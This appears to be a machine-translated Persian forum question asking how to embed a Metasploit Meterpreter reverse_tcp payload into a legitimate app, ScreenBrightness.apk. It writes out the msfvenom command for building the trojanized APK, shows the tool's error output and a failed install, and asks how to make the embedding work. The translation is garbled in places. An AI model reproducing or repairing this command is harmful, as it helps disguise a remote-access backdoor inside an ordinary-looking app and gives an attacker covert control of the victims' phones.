من می خواهم یک payload را در یک پرونده apk قرار دهم. من سعی کردم از msfvenom -x ScreenBrightness.apk -p android / metpreter / reverse_tcp LHOST = LPORT = 4444 R> output.apk

و این نتیجه بود:

با استفاده از الگوی APK: ScreenBrightness.apk
[-] هیچ سکویی انتخاب نشده بود ، و Msf :: ماژول :: بستر های نرم افزاری :: Android را از payload انتخاب کرد
[-] هیچ قوس انتخاب نشده است ، قوس را انتخاب کنید: dalvik از payload
خطا: شماره نسخه نادرست رشته 2.4.0-کثیف
/ usr / bin / apktool: line 27: mkdir: فرمان یافت نشد
/ usr / bin / apktool: line 28: ln: command found not found

سپس من دایرکتوری را چک کردم و فهمیدم که پرونده ای به نام output.apk وجود دارد.

من سعی کردم out.apk را روی اندروید خود نصب کنم. برنامه نصب نشده است . من چندین بار امتحان کردم اما نتیجه این نتیجه بود.

بنابراین ، من سعی کردم با استفاده از adb به دستور adb install output.apk

output.apk را نصب کنم و هنوز هم این نتیجه بود:

عدم موفقیت [INSTALL_FAILED_INVALID_APK]

من از لینوکس استفاده می كنم: Parrot GNU / Linux
اندیشه من: Android 6.0.1 (Marshmello)

برای جاسازی صحیح بار در یک فایل apk چه کاری باید انجام دهم؟

با تشکر از پیش.